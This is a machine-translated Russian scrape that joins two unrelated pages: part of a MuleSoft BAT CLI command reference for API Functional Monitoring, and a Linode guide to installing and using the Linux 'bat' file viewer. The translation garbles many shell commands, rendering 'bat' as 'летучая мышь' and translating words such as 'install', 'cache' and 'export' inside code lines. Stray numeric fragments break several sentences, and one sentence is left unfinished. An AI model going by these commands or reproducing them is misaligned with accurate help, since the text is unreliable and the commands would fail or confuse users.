    Используйте эту опцию с каждой командой bat , если ваша система требует доступа к Anypoint Platform через прокси.

  • --идентификатор клиента

    Идентификатор клиента из подключенного приложения. Вы должны использовать эту опцию с командой входа в систему, если вы входите в систему с помощью связанного приложения.

  • --клиент-секрет

    Секрет клиента из подключенного приложения. Вы должны использовать эту опцию с командой входа в систему, если вы входите в систему с помощью связанного приложения.

bat Команды

Следующие команды bat можно использовать для управления интеграцией с облаком, а также для планирования и настройки тестов и мониторов с помощью Anypoint Platform.

  • инициализация

    Создает базовую папку проекта с файлами конфигурации, базовым тестом HelloWorld и файлом дескриптора yaml.

  • расписание ls | список

    Список всех расписаний, существующих в организации данного профиля.

  • создание расписания [--cron=""] [--location=]

    Создайте планировщик с помощью выражения cron и создайте ZIP-файл, содержащий тесты и все файлы. Если вы не введете выражение cron, тесты будут запускаться каждые 15 минут.

  • конечная точка расписания [--cron=""] [--name=] [--location=] [--new-relic-license-key=< newRelicLicenseKey>] [--slack-webhook=] [--email-list=] [--sumo-logic-endpoint=] [--pager-duty-routing-key=< pagerDutyRoutingKey>] [--custom-report-url=] [--custom-report-headers=] [--custom-report-transformation=][ --init-folder] [--status-code=<код>]

    Создайте монитор в Exchange, используя URL-адрес, например следующий пример URL-адреса: http://example. com . При желании вы можете добавить параметры для создания bat.yaml с другими параметрами.

    • [--cron=""] По умолчанию запуск тестов запланирован каждые 15 минут. Вы можете изменить с помощью выражения cron.

    • [--name=""] Чтобы установить имя пакета.

    • [--location=""] Установите для монитора идентификатор определенного местоположения.

    • [--new-relic-license-key=""] Добавьте отчет New Relic в bat.yaml.

    • [--slack-webhook=""] Добавьте отчет Slack в bat.yaml.

    • [--sumo-logic-endpoint=""] Добавьте отчет Sumo Logic в файл bat.yaml.

    • [--pager-duty-routing-key=""] Добавьте отчет PagerDuty в bat.yaml.

    • [--custom-report-url=""] [--custom-report-headers=""] | [--custom-report-transformation=""] Добавьте пользовательский отчет в файл bat. yaml и, при желании, вы можете добавить файл преобразования.

    • [--init-папка] Сохраните сгенерированные файлы exchange.json, bat.yaml и main.dml в текущем каталоге.

    • [--status-code=<код>] Использовать код как HTTP-код для тестовых шаблонов.

  • расписание РМ | удалить

    Удаляет расписание по его ID.

  • отключить расписание
    Отключает расписание, идентифицируемое указанным идентификатором. Если запустить летучая мышь по расписанию ls после запуска этой команды вы увидите, что значение

  • включение расписания

    Включает расписание, определяемое указанным идентификатором. Используйте эту команду, только если вы хотите включить расписание, которое вы отключили с помощью команды bat schedule disable .

  • кто

    Выводит основную информацию о пользователе на стандартный вывод. Другие профили могут использоваться с --опция профиля .

  • рабочий регистр [--name=<значение>]

    Создает сообщение с именем машины и создает фиктивную цель.

  • рабочая отмена регистрации [--name=<значение>]

    Отменяет регистрацию работника.

  • идентификатор работника

    Получает идентификатор работника.

  • местоположение создать <имя>

    Создает частное местоположение в организации данного профиля в Anypoint Platform. Дополнительные сведения о частных и общедоступных расположениях см. в разделах Мониторинг конечных точек общедоступных API и Мониторинг конечных точек частных API.

  • местоположение удалить

    Удаляет частное местоположение из списка частных местоположений в организации данного профиля в Anypoint Platform.

    идентификатор

    Укажите идентификатор, определяющий местоположение. Вы можете получить идентификатор, выполнив команду bat location ls .

  • местоположение ls|список

    Список частных и общедоступных местоположений, которые существуют в организации данного профиля в Anypoint Platform. Эта команда заменяет цель ls|список .

  • обновление местоположения

    Обновляет местоположение по его идентификатору. Если доступна новая версия рабочего, обновляет местоположение, используя последнюю версию. Эта опция действительна только для местоположений Mule.

  • get_token

    Возвращает токен для доступа к платформе Anypoint в файле учетных данных. Требуется сначала запустить bat login для создания профиля.

  • грант

    Предоставляет API Functional Monitoring разрешение на доступ к общему секрету, хранящемуся в Anypoint Secrets Manager. Вы должны предоставить разрешение API Functional Monitoring для доступа к любому общему секрету, который вы используете в тесте, или для доступа к генератору отчетов.

    Запустите команду bat grant перед настройкой теста или генератора отчетов для использования общего секрета. Псевдонимы, которые вы создаете в команде, — это то, что вы указываете в тестах и ​​конфигурациях для генераторов отчетов.

     bat grant -g=MySecretGroupName -s=MyAlias1:MySecretName1,MyAlias2:MySecretName2,…,MyAliasN:MySecretNameN [--forceUpdate] 

    Укажите имя группы в Anypoint Secrets Manager, в которой хранится общий секрет.

    Укажите псевдоним, двоеточие и имя общего секрета. Псевдоним может быть любой комбинацией буквенно-цифровых символов. Имя общего секрета — это имя, которое идентифицирует общий секрет в группе. Если вы хотите использовать одну команду, чтобы предоставить BAT CLI разрешение на использование более одного общего секрета из одной и той же группы, разделите каждый псевдоним:имя пара с запятой.
    + Секрет должен быть создан в группе секретов, которая находится в той же среде, что и в интерфейсе командной строки BAT. Чтобы узнать, какую среду вы используете в BAT CLI, введите команду bat whoami . Выходные данные содержат идентификатор среды. Запустите команду bat environment ls , чтобы получить список сред, к которым у вас есть доступ. Сопоставьте идентификатор из команды bat whoami с одной из перечисленных сред. Если вам нужно переключиться на среду, в которой находится ваша группа secrets, запустите команду bat environment switch name, где name — имя среды.

    —forceUpdate

    Укажите этот параметр, если API Functional Monitoring потерял доступ к общему секрету и вам нужно снова предоставить доступ.

  • выполнение ls|список

    Список мониторов, работающих для указанного профиля. Если профиль не указан, используется профиль по умолчанию. Перечисленные мониторы — это все мониторы в текущей среде и для текущего профиля, которые были написаны и запущены с помощью BAT CLI, а также все мониторы, созданные онлайн в Anypoint Platform.

    Вывод выглядит следующим образом:

     Последние исполнения:
    daily-retail-test:1.0.1 ПРОШЕЛ 10 секунд назад
    internal-run-api-check:1.0.0 ПРОШЕЛ 11 минут назад 
  • среда ls|список

  • переключатель среды <имя>

    Две опции ls и list перечисляют среды, доступные для указанного профиля. Если профиль не указан, используется профиль по умолчанию.

    Параметр Switch позволяет использовать одну из перечисленных сред. Добавьте имя среды в конец команды, как в этом примере, где используется среда Sandbox :

    .

     Переключатель среды летучей мыши Песочница 

Примеры команд BAT

  • Запустите несколько тестовых файлов из файла bat.yaml.

    бат бат.ямл

  • Запустить один файл.

    летучая мышь ./test/myFile.dwl

  • Определите установленную версию.

    летучая мышь --версия

    Пример вывода, если у вас не последняя версия:

     Обновление версии: у вас более старая версия BAT.
    Новая версия будет загружена в папку /Users//.bat/bat-cli-1.0.51.
    Качаем версию 1.0.51. Пожалуйста, подождите`........................
    BAT-оболочка: 1.0.53
    Версия BAT: 1.0.51 

См. также

  • Планирование тестирования и мониторинга

  • Использование секретов для маскировки конфиденциальной информации на мониторах

Как установить и использовать команду Linux bat |
Linode Docs

&nbspresults match&nbsp

&nbspresults

Нет результатов

Фильтры

Фильтры (
)

Все

0, ‘текст-белый’: checkbox.checked, ‘текст-серый-400’: !checkbox.checked && checkbox.count === 0 }» style=letter-spacing:. 07px x-text=checkbox.title>

Добавить теги

Все

0, ‘текст-белый’: checkbox.checked, ‘текст-серый-400’: !checkbox.checked && checkbox.count === 0 }» style=letter-spacing:.07px x-text=checkbox.title>

Добавить авторов

Все

0, ‘текст-белый’: checkbox.checked, ‘текст-серый-400’: !checkbox.checked && checkbox.count === 0 }» style=letter-spacing:.07px x-text=checkbox.title>

Обновлено
, Натаниэль Стикман

Traducciones al Español

Estamos traduciendo nuestros guías y tutoriales al Español. Эс
posible que usted esté viendo una traducción generada
автоматический. Estamos trabajando con traductores profesionales
пункт verificar лас traducciones де нуэстро ситио сети. Эсте проект
es un trabajo en curso.

Создать учетную запись Linode
чтобы попробовать это руководство с кредитом в долларах США.

Этот кредит будет применяться к любым действительным услугам, использованным во время вашего первого
дней.

Команда bat является клоном вездесущей команды cat . Он модернизирует cat с более удобочитаемым дизайном и такими функциями, как подсветка синтаксиса и интеграция с Git. В этом руководстве подробно описано, как bat сравнивается с его предшественником, и показано, как установить и начать использовать его в вашей системе Linux.

Прежде чем начать

  1. Если вы еще этого не сделали, создайте учетную запись Linode и вычислительный экземпляр. См. наши руководства «Начало работы с Linode» и «Создание вычислительного экземпляра».

  2. Следуйте нашему руководству по настройке и защите вычислительного экземпляра, чтобы обновить свою систему. Вы также можете установить часовой пояс, настроить имя хоста, создать ограниченную учетную запись пользователя и усилить доступ по SSH.

Примечание

Действия в этом руководстве написаны для пользователя без полномочий root. Команды, требующие повышенных привилегий, имеют префикс sudo . Если вы не знакомы с командой sudo , см. руководство «Пользователи и группы Linux».

bat vs. cat

Возможно, вы знакомы с командой Linux cat . Он включен в большинство дистрибутивов по умолчанию и часто упоминается как быстрый способ просмотра содержимого содержимого файла в командной строке.

Подобно cat , bat также дает вам простой метод командной строки для отображения содержимого файла. Но bat поставляется с более современным дисплеем и несколькими дополнительными функциями, которые выделяют его.

На одного, bat добавляет подсветку синтаксиса. Это, в сочетании с другими улучшениями отображения — более простым форматированием, нумерацией страниц, графическими непечатаемыми символами — делает bat исключительным для чтения файлов, содержащих код.

bat также готов к интеграции с несколькими другими инструментами командной строки, главным из которых является Git. По умолчанию bat предоставляет аннотации для обозначения измененных строк для файлов, отслеживаемых Git. Вы даже можете использовать bat для просмотра прошлых версий файлов под контролем версий.

Как установить bat

Для многих дистрибутивов Linux вы можете получить bat в диспетчере пакетов. Это касается дистрибутивов Debian, Ubuntu и Fedora.

  • Для Debian и Ubuntu установите bat с помощью следующей команды:

     sudo apt install bat
     

    В Debian и Ubuntu bat по умолчанию использует команду batcat из-за конфликта с существующим пакетом, bacula-console-qt . Однако вы можете использовать следующие команды, чтобы связать команду bat :

     mkdir -p ~/.local/bin
      ln -s /usr/bin/batcat ~/.local/bin/bat
     

    Примечание

    Если вы установили пакет bacula-console-qt , обязательно удалите его перед выполнением перечисленных выше команд. В противном случае, если вы решите оставить bacula-console-qt установленным, вы должны использовать команду batcat вместо bat 9.0006 .

  • Для Fedora :

     sudo dnf install bat
     

Для AlmaLinux и CentOS необходимо выполнить еще несколько шагов. Для этих дистрибутивов выполните следующие действия, чтобы загрузить соответствующий выпуск bat и установить его.

  1. Если у вас его еще нет, установите tar , который вы используете для извлечения пакета bat на более позднем этапе.

     sudo yum установить tar
     
  2. Проверьте архитектуру ЦП вашей системы Linux с помощью следующей команды:

     uname -a
     

    Вот пример того, как может выглядеть ваш вывод.

     Имя хоста Linux 4.18.0-305.7.1.el8_4.x86_64 #1 SMP Чт, 1 июля 02:00:00 по восточноевропейскому времени 2021 x86_64 x86_64 x86_64 GNU/Linux
         

    В этом примере — и в последующих командах — архитектура ЦП — x86_64 .

  3. Определение последней версии bat со страницы релиза. Найдите соответствующий пакет .tar.gz с архитектурой процессора вашей системы, за которым следует unknown-linux-musl в имени. Скопируйте URL-адрес этого пакета выпуска. URL-адрес потребуется на следующем шаге.

  4. Скопируйте URL-адрес пакета и используйте следующую команду, чтобы загрузить пакет как bat.zip .

     curl -o bat.zip -L https://github.com/sharkdp/bat/releases/download/v0. 18.2/bat-v0.18.2-x86_64-unknown-linux-musl.tar.gz
     
  5. Извлеките упаковку.

     tar -xvzf bat.zip
     
  6. Переместите файлы bat в /usr/local .

     sudo mv bat-v0.18.2-x86_64-unknown-linux-musl /usr/local/bat
     
  7. Добавьте псевдоним для bat в файл .bashrc . Скорее всего, файл находится в домашнем каталоге вашего пользователя, например: ~/.bashrc . Вы можете создать псевдоним, добавив следующую строку в конец файла.

    Файл: ~/.bashrc
     1
    2
    3
    4
     
     [...]
    псевдоним bat="/usr/local/bat/bat"
         

После установки bat любым способом вы можете проверить установку с помощью команды версии .

 летучая мышь --версия
 
 bat 0. 18.2 

Как использовать bat

Начало работы с bat аналогично основному использованию 9Команда 0005 кот . Вы вводите команду bat , за которой следует путь к файлу, который вы хотите просмотреть.

Чтобы действительно продемонстрировать возможности bat , в этом руководстве используется пример кода, представленный в проекте Flask-RESTful GitHub. Вы можете получить код, установив Git (если у вас его еще нет) и клонировав репозиторий. Замените apt на dnf , если вы используете Fedora, и yum , если вы используете AlmaLinux или CentOS.

 sudo apt установить git
клон git https://github.com/flask-restful/flask-restful.git
 

Теперь вы можете открыть один из файлов Python в этом репозитории, используя bat .

 летучая мышь flask-restful/examples/todo.py
 

По умолчанию bat использует минус для разбиения результатов на страницы. Однако вы также можете настроить вывод bat в командную строку, как в cat с флагом --paging=never .

 bat --paging=никогда flask-restful/examples/todo.py
 

Подобно cat , bat дает возможность отображать непечатаемые символы, упрощая отслеживание пробелов, табуляции, разрывов строк и т. д. Но bat имеет дополнительное преимущество использования специальных символов и выделения для представления непечатаемые символы более четко.

 летучая мышь --show-all flask-restful/examples/todo.py
 

Интеграция с Git

bat также интегрируется с Git. Чтобы увидеть его в работе, откройте todo.py с помощью предпочитаемого вами текстового редактора и внесите в него некоторые изменения. Затем снова откройте файл с помощью bat . Вы можете видеть, что bat включает аннотации Git в измененных строках.

Используя комбинацию команд Git и bat , вы можете даже bat просмотреть прошлые версии файлов в репозитории Git.

В этом методе используется команда Git show , для которой требуется указать версию файла. Обратитесь к разделу Specifying Revisions документации Git по ревизиям, чтобы узнать о различных способах сделать это.

В приведенном ниже примере рассматриваются прошлые фиксации файла todo.py , показанного выше. Затем он получает прошлую версию файла, используя один из идентификаторов коммита.

  1. Перейдите в каталог репозитория. В этом примере предполагается, что вы клонировали репозиторий в домашний каталог вашего текущего пользователя ( ~ ).

     cd ~/flask-restful
     
  2. Получить список коммитов в файле.

     примеры логов git/todo.py
     
     совершить 871f4e69e7758cb983056b469ec4ae40963ed1bb
    Автор: Джош Френд 
    Дата: Пн, 20 июля, 09:28:15 2015 -04:00
        Исправление примеров с использованием type=str
        закрывается # 461
    совершить 8bdba92ef54645ada501a39edc0bc68d34127b64
    Автор: Джош Френд  com>
    Дата: Сб 21 марта 22:57:40 2015 -04:00
        исправление ссылок на flask.ext.* (исправлено №420)
    совершить 566431a24dac4dcf236fe06850fe96a9a3ab1890
    Автор: Виктор Нео 
    Дата: Пн, 24 декабря, 01:46:18 2012 +0800
        Обновите полный пример документации и синхронизируйте его с примером todo.py.
    зафиксировать a4465e3e9cc4c30e7f53e0b908f734a42ed32da4
    Автор: Райан Хорн 
    Дата: Вт, 16 октября 21:07:16 2012 -07:00
        Flask-RESTful
         
  3. Выберите нужную версию; в этом примере используется самая ранняя из перечисленных коммитов. Скопируйте его идентификатор фиксации и используйте этот идентификатор в следующей команде:

     git show a4465e3e9cc4c30e7f53e0b908f734a42ed32da4:examples/todo.py | летучая мышь -л рс
     

Как настроить подсветку синтаксиса в bat

Вы можете настроить подсветку синтаксиса в bat . Если вам нужна другая цветовая палитра или вам нужно добавить поддержку выделения для определенного языка, bat предоставляет вам возможности настройки.

Установить тему подсветки для bat

bat поставляется с набором тем для подсветки синтаксиса. Вы можете получить их список вместе с образцами, используя следующую команду:

 bat --list-themes
 

Чтобы выбрать тему, которую вы хотите использовать, воспользуйтесь одним из следующих вариантов:

  • Используйте флаг --theme при запуске bat . С помощью этого метода вы должны использовать флаг --theme каждый раз, когда запускаете команду bat .

     bat --theme="Solarized (темный)" ~/flask-restful/examples/todo.py
     
  • Установите переменную среды BAT_THEME для сеанса оболочки. Этот подход сохраняет тему до тех пор, пока ваш сеанс оболочки жив.

     экспорт BAT_THEME="Соляризованный (темный)"
     
  • Задайте переменную среды BAT_THEME в файле .bashrc , чтобы выбор темы сохранялся во всех сеансах оболочки.

    Файл: ~/.bashrc
     1
    2
    3
    4
     
     [...]
    экспорт BAT_THEME="Солнечная (темная)"
         

Добавить языки для подсветки синтаксиса в bat

Вы можете получить список языков, которые поддерживает ваш bat 9Установка 0006 поддерживает подсветку синтаксиса с параметром --list-languages ​​.

 летучая мышь --список-языков
 

Если в bat отсутствует подсветка для нужного вам языка, вы можете добавить ее самостоятельно. bat поддерживает файлы синтаксиса Sublime Text — .sublime-syntax . Существует также менеджер пакетов для Sublime Text под названием Package Control, который используется для установки пакетов и поддержания их в актуальном состоянии.

Следующие шаги показывают, как добавить язык после того, как вы найдете . sublime-syntax , который вы хотите использовать. В этом примере используется пакет, найденный в Package Control для языка программирования Fennel.

  1. Создайте каталог синтаксиса в каталоге конфигурации bat .

     mkdir -p "$(bat --config-dir)/синтаксис"
     
  2. Поместите файл .sublime-syntax в этот каталог. В этом примере клонируется репозиторий Git для языкового пакета Fennel, в основе которого лежит файл синтаксиса.

     cd "$(bat --config-dir)/синтаксис"
     клон git https://github.com/gbaptista/sublime-text-fennel.git
     
  3. Пусть bat проанализирует файлы синтаксиса.

     Кэш bat --build
     
  4. Убедитесь, что выбранный вами язык — в данном случае фенхель — добавлен в список языков в bat .

     летучая мышь --список-языков
     
     [...]
    Фенхель фнл
    [...]
         

Вы можете обратиться к следующим ресурсам для получения дополнительной информации
на эту тему. Хотя они предоставляются в надежде, что они будут
полезно, обратите внимание, что мы не можем ручаться за точность или своевременность
материалы внешнего размещения.

  • GitHub: sharpdp/bat

Эта страница была первоначально опубликована на



Присоединяйтесь к беседе.

Прочтите другие комментарии или разместите свои ниже. Комментарии должны быть уважительными,
конструктивны и соответствуют теме руководства. Не публиковать
внешние ссылки или реклама. Прежде чем публиковать, подумайте,
комментарий будет лучше адресован, связавшись с нашим
Служба поддержки или запрос на
наш
Сайт сообщества.

Система комментариев Disqus для Linode Docs требует принятия
Функциональные файлы cookie, которые позволяют нам анализировать использование сайта, чтобы мы могли
измерять и улучшать производительность. Для просмотра и создания комментариев к этому
статью, пожалуйста
обновить настройки файлов cookie
на этом веб-сайте и обновите эту веб-страницу.